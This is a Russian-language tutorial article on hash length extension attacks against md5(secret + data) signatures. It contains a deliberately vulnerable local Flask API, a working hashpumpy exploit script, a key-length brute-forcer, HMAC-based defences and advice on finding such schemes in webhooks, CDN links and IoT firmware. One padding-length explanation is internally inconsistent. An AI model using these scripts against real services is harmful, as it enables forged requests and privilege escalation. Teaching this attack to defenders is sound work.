Не удалось прогрузить медиа
Привет. Вот моя вторая поптыка написать статью)
В комментариях к прошлой статье про Padding Oracle справедливо заметили: самые сочные уязвимости рождаются там, где разработчик решает не использовать готовые фреймворки, а написать свою криптографию. "Зачем мне HMAC, я и так знаю как работает хэш" - знаменитые последние слова перед полным п... .
Сегодня разбираем вторую уязву: Hash Length Extension (HLE). Атаку, которая позволяет дописать произвольные данные к подписанному сообщению, не зная секретного ключа. Всё что нужно - готовая подпись и длина ключа (которую можно подобрать за секунды).
Немного истории:
В 2009 году Thai Duong и Juliano Rizzo через HLE хакнули подписи Flickr API - а заодно показали, что уязвимы DivShare, Vimeo, iContact, Scribd и ещё десяток сервисов. Все использовали одну и ту же конструкцию: md5(secret + params). Flickr отдавал 8-байтовый shared secret каждому приложению, а подписи строились простым склеиванием. Атакующий мог отправлять произвольные API-запросы от имени любого приложения, не зная его секрета. Advisory ушла в full-disclosure, Yahoo пофиксили за две недели, Vimeo первый патч написали неправильно и пришлось переделывать.
Прошло 17 лет - а конструкция hash(secret + data) до сих пор всплывает в самописных API, webhook подписях и легаси системах.
ПРиступим пожалуй:
Типичный сценарий: разработчик пишет API и хочет защитить параметры запроса от подделки. Он берёт секретный ключ (который явно лежит на бэке) и хэширует его вместе с данными:
Code:
signature = md5(SECRET_KEY + user_data)
Клиент получает URL вида:
Code:
api.site.com/endpoint?data=user=guest&role=user&sig=a1b2c3d4...
Логика простая: хэш необратим, ключ мы не знаем, значит подделать подпись нельзя. Если поменяем role=admin - сервер пересчитает хэш, подписи не совпадут, получим 403.
Звучит разумно? Звучит. Не работает? Не работает. Именно так были подписаны запросы к Flickr API, к Vimeo API, и к куче других сервисов раньше
Где эта конструкция встречается сейчас: самописные API без нормальных фреймворков, легаси на голом PHP, IoT/embedded устройства с кастомной прошивкой, подписи ссылок для скачки (download?file=report.pdf&sig=...), webhook вериф (sha1(secret + body)) - короче, везде, где кто-то решил что hash(secret + data) - это MAC
Почему это ломается:
Типа
Code:
[Init State] -> обработка блока 1 ->[State 1] -> обработка блока 2 -> [State 2] -> ... -> [Final State] = ХЭШ
Ключевой момент: итоговый хэш - это просто внутреннее состояние алгоритма после последнего блока. Оно не шифруется, не маскируется, просто выводится как есть
Что это значит для нас:
- Сервер считает md5(SECRET + "user=guest&role=user") и отдаёт хэш
- Мы берём этот хэш и инициализируем им внутреннее состояние MD5 на своей машине
- Дописываем свои данные (&role=admin), и MD5 продолжает считать с того места, где остановился сервер
- Получаем валидную подпись для расширенного сообщения, не зная ключа
Не удалось прогрузить медиа
Тут будет код:
Мини сервак для этого дела выглядит так
Python:
from flask import Flask, request
import hashlib
import urllib.parse
app = Flask(__name__)
# Секретный ключ — 16 байт.
SECRET = b"s3cr3t_k3y_12345"
def sign_bytes(data: bytes) -> str:
"""Уязвимая функция: теперь принимает байты напрямую."""
return hashlib.md5(SECRET + data).hexdigest()
@app.route('/generate')
def generate():
"""Выдаём легитимную подписанную ссылку"""
data = "user=guest&role=user"
# Подписываем байтовое представление
sig = sign_bytes(data.encode())
# Квотим данные, чтобы амперсанд внутри data не разрывал URL
quoted_data = urllib.parse.quote(data)
url = f"http://127.0.0.1:5000/api?data={quoted_data}&sig={sig}"
return f"<h3>Твоя ссылка:</h3><pre>{url}</pre><br><a href='{url}'>Перейти</a>"
@app.route('/api')
def api():
# КРИТИЧЕСКИЙ МОМЕНТ:
# Берем параметры напрямую из query_string как байты, чтобы избежать
# автоматического декодирования в UTF-8, которое ломает паддинг.
qs = request.query_string
params_raw = urllib.parse.parse_qs(qs)
# Извлекаем байты для 'data' и строку для 'sig'
data_bytes = params_raw.get(b'data', [b''])[0]
sig = params_raw.get(b'sig', [b''])[0].decode('utf-8', 'ignore')
# Проверяем подпись на сырых байтах
expected = sign_bytes(data_bytes)
if expected != sig:
return (f"<h2>403 Forbidden</h2><p>Invalid signature.</p>"
f"<pre>Expected: {expected}\nGot: {sig}</pre>"), 403
# Теперь, когда подпись верна, парсим параметры.
# Используем latin-1, чтобы сохранить байты паддинга "как есть" при парсинге ключей/значений
data_decoded = data_bytes.decode('latin-1')
params = dict(urllib.parse.parse_qsl(data_decoded))
role = params.get('role', 'user')
user = params.get('user', 'nobody')
if role == 'admin':
return (f"<h2>200 OK</h2><p>FLAG: HLE_M4G1C_W0RK5</p>"
f"<p>Добро пожаловать, {user}. Роль: {role}</p>")
else:
return f"<h2>200 OK</h2><p>Привет, {user}. Твоя роль: {role}.</p>"
if __name__ == '__main__':
print("[*] Vulnerable API started on http://127.0.0.1:5000")
print("[*] Get your signed URL: http://127.0.0.1:5000/generate")
app.run(port=5000, debug=False)
Запускаем:
Code:
pip install flask
python vulnerable_api.py
Не удалось прогрузить медиа
Идём в браузер на http://127.0.0.1:5000/generate:
Не удалось прогрузить медиа
Кликаем по ссылкке и видим
Не удалось прогрузить медиа
Теперь пробуем вручную поменять role=user на role=admin в URL:
Не удалось прогрузить медиа
Пишем эксплоит
Для атаки нам нужно:- Оригинальные данные: user=guest&role=user (видим в URL)
- Оригинальная подпись: 7c134f... (видим в URL)
- Длина секретного ключа: 16 байт (перебираем, если не знаем)
- Что дописать: role=admin
Code:
pip install hashpumpy requests
exploit.py
Python:
import requests
import hashpumpy
import urllib.parse
TARGET = "http://127.0.0.1:5000/api"
original_data = "user=guest&role=user"
original_sig = "" # хэш который выдал сервак
# Длина ключа b"s3cr3t_k3y_12345"
key_length = 16
#на что меняем
append_data = "&role=admin"
print("=" * 60)
print(" Hash Length Extension Attack")
print("=" * 60)
# Магия hashpump
new_sig, new_data = hashpumpy.hashpump(
original_sig,
original_data,
append_data,
key_length
)
print(f"\n[*] Original sig: {original_sig}")
print(f"[*] New sig: {new_sig}")
print(f"[*] New data (raw): {repr(new_data)}")
# Используем quote_from_bytes, чтобы спецсимволы \x80, \x00 и т.д.
# корректно превратились в %80, %00 для передачи через URL.
encoded_data = urllib.parse.quote_from_bytes(new_data)
url = f"{TARGET}?data={encoded_data}&sig={new_sig}"
print(f"\n[*] Sending request...")
print(f"[*] URL: {url[:110]}...")
r = requests.get(url)
print(f"[*] Status: {r.status_code}")
print("-" * 60)
print(f"[*] Response:\n{r.text}")
print("-" * 60)
И случилась магия
Не удалось прогрузить медиа
Что именно произошло
Давай разберём что hashpumpy сделал, вот как выглядит new_data:
Code:
user=guest&role=user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x01\x00\x00\x00\x00\x00\x00&role=admin
Пошагово:
- user=guest&role=user — оригинальные данные (20 байт)
- \x80 — стандартный маркер конца данных в Merkle-Damgard
- \x00...\x00 — нулевые байты для выравнивания блока до 64 байт
- \x18\x01\x00\x00\x00\x00\x00\x00 — длина оригинального сообщения (SECRET + data) в битах, little-endian. 16 + 20 = 36 байт = 288 бит = 0x0120
- &role=admin — наша добавка
А parse_qsl() парсит параметры и видит role=user и role=admin. Функция dict() перезаписывает первое значение вторым - и params['role'] = 'admin'
Если добавить в код эскплоита немного дебага, например print(repr(new_data)), то получим
Не удалось прогрузить медиа
Перебор длины ключа
На практике ты не знаешь длину секретного ключа. Это не проблема - перебор от 1 до 64 занимает доли секунды.Напишем брутер
Python:
import hashpumpy
import requests
import urllib.parse
TARGET = "http://127.0.0.1:5000/api"
original_data = "user=guest&role=user"
original_sig = ""
append_data = "&role=admin"
print("[*] Brute-forcing key length (1-64)...\n")
for key_len in range(1, 65):
new_sig, new_data = hashpumpy.hashpump(
original_sig, original_data, append_data, key_len
)
encoded = urllib.parse.quote_from_bytes(new_data)
url = f"{TARGET}?data={encoded}&sig={new_sig}"
r = requests.get(url)
status = "✓" if r.status_code == 200 else "✗"
if r.status_code == 200 and "FLAG" in r.text:
print(f" [{status}] key_length={key_len:2d} - FOUND! Status: {r.status_code}")
print(f"\n[+] Key length: {key_len}")
print(f"[+] New signature: {new_sig}")
print(f"[+] Response: {r.text.strip()}")
break
else:
print(f" [{status}] key_length={key_len:2d} - Status: {r.status_code}")
else:
print("\n[-] Key length not found in range 1-64")
Не удалось прогрузить медиа
Почему parse_qsl - не баг, а фича (для нас)
Отдельный момент, который стоит разобрать. Когда сервер получает строку:
Code:
user=guest&role=user&<мусор>&role=admin
...он парсит её через urllib.parse.parse_qsl(). Эта функция возвращает все пары ключ-значение, включая дубликаты:
Code:
>>> parse_qsl("role=user&role=admin")
[('role', 'user'), ('role', 'admin')]
А dict() при дубликатах оставляет последнее значение:
Code:
>>> dict(parse_qsl("role=user&role=admin"))
{'role': 'admin'}
Это не баг parse_qsl -это стандартное поведение. Аналогично работают PHP ($_GET), многие Java-фреймворки, и даже некоторые конфиги nginx. Это называется HTTP Parameter Pollution и само по себе является отдельным вектором атаки
Защита: HMAC и почему SHA-3 неуязвим
Как не надо подписывать данные (мы это уже выяснили):
Python:
# УЯЗВИМО — hash(secret || data)
sig = hashlib.md5(SECRET + data).hexdigest()
Как нажо:
Python:
import hmac, hashlib
# HMAC: стандарт индустрии, RFC 2104
sig = hmac.new(SECRET, data.encode(), hashlib.sha256).hexdigest()
Почему HMAC защищён: он хэширует данные дважды с разными XOR-масками ключа. Внутреннее состояние не "протекает" наружу, и продолжить хэширование невозможно
Даже если атакующий знает финальный хэш — это хэш от внешнего прохода, а не от данных напрямую
SHA-3 (Keccak) использует архитектуру sponge вместо Merkle-Damgard. Внутреннее состояние SHA-3 больше чем выход: для SHA3-256 state = 1600 бит, а выход = 256 бит. Даже зная хэш, вы не можете восстановить полное внутреннее состояние. HLE на SHA-3 невозможна в принципе
Ну чисто мое мнение что щас можно юзать
- HMAC-SHA256 - для подписи данных
- JWT (HS256/RS256) - для API-токенов
- Если хочется модерн - HMAC-SHA3 или Ed25519 для подписей
- Никогда hash(secret + data) или hash(data + secret) (второй вариант тоже уязвим, хоть и сложнее)
Вот типичные ситуации, где HLE даёт результат
Подписи API-запросов. Самый классический вектор. Flickr, Vimeo, DivShare, Scribd - все попались на одном: md5(secret + sorted_params). Если видишь API, где подпись считается как хэш от конкатенации секрета и параметров проверяй на HLE. Признак: подпись передаётся в URL или cookie, данные видны в открытом виде, формат типа ?data=...&sig=....
CDN и signed URLs. Часто CDN-ссылки защищены подписью:
Code:
download?file=report.pdf&expires=1234567890&sig=sha1(secret+path+expiry)
Webhook верификация. Многие SaaS-сервисы подписывают исходящие вебхукии через sha256(secret + body). Если ты нашёл такую схему на пентесте можешь добавить произвольные поля в тело вубхука и подделать подпись. Это особенно опасно когда webhook триггерит действия на стороне клиента: создание аккаунтов, подтверждение оплаты, изменение прав.
Embedded/IoT. Кастомные прошивки любят самописную криптографию. Подписи обновлений firmware, подписи конфигурационных команд - часто sha1(hardcoded_key + payload). Длина ключа обычно фиксирована и не меняется между устройствами. Перебор от 1 до 32 байт занимает меньше секунды
Общий паттерн: если на пентесте видишь sig= или hash= в URL, cookie или API ответе, и данные рядом с ним читаемы - стоит проверить. hashpumpy + цикл перебора длины ключа - это 10 строк кода и пара секунд работы
P.S не изобретай велосипед с криптографией. Готовые стандарты (HMAC, JWT, libsodium) существуют не просто так. Каждый раз когда кто-то пишет md5(secret + data) вместо hmac.new() - где-то плачет один криптограф
👍38
❤️6
😁1
😮8
👏8
😢7
LIMB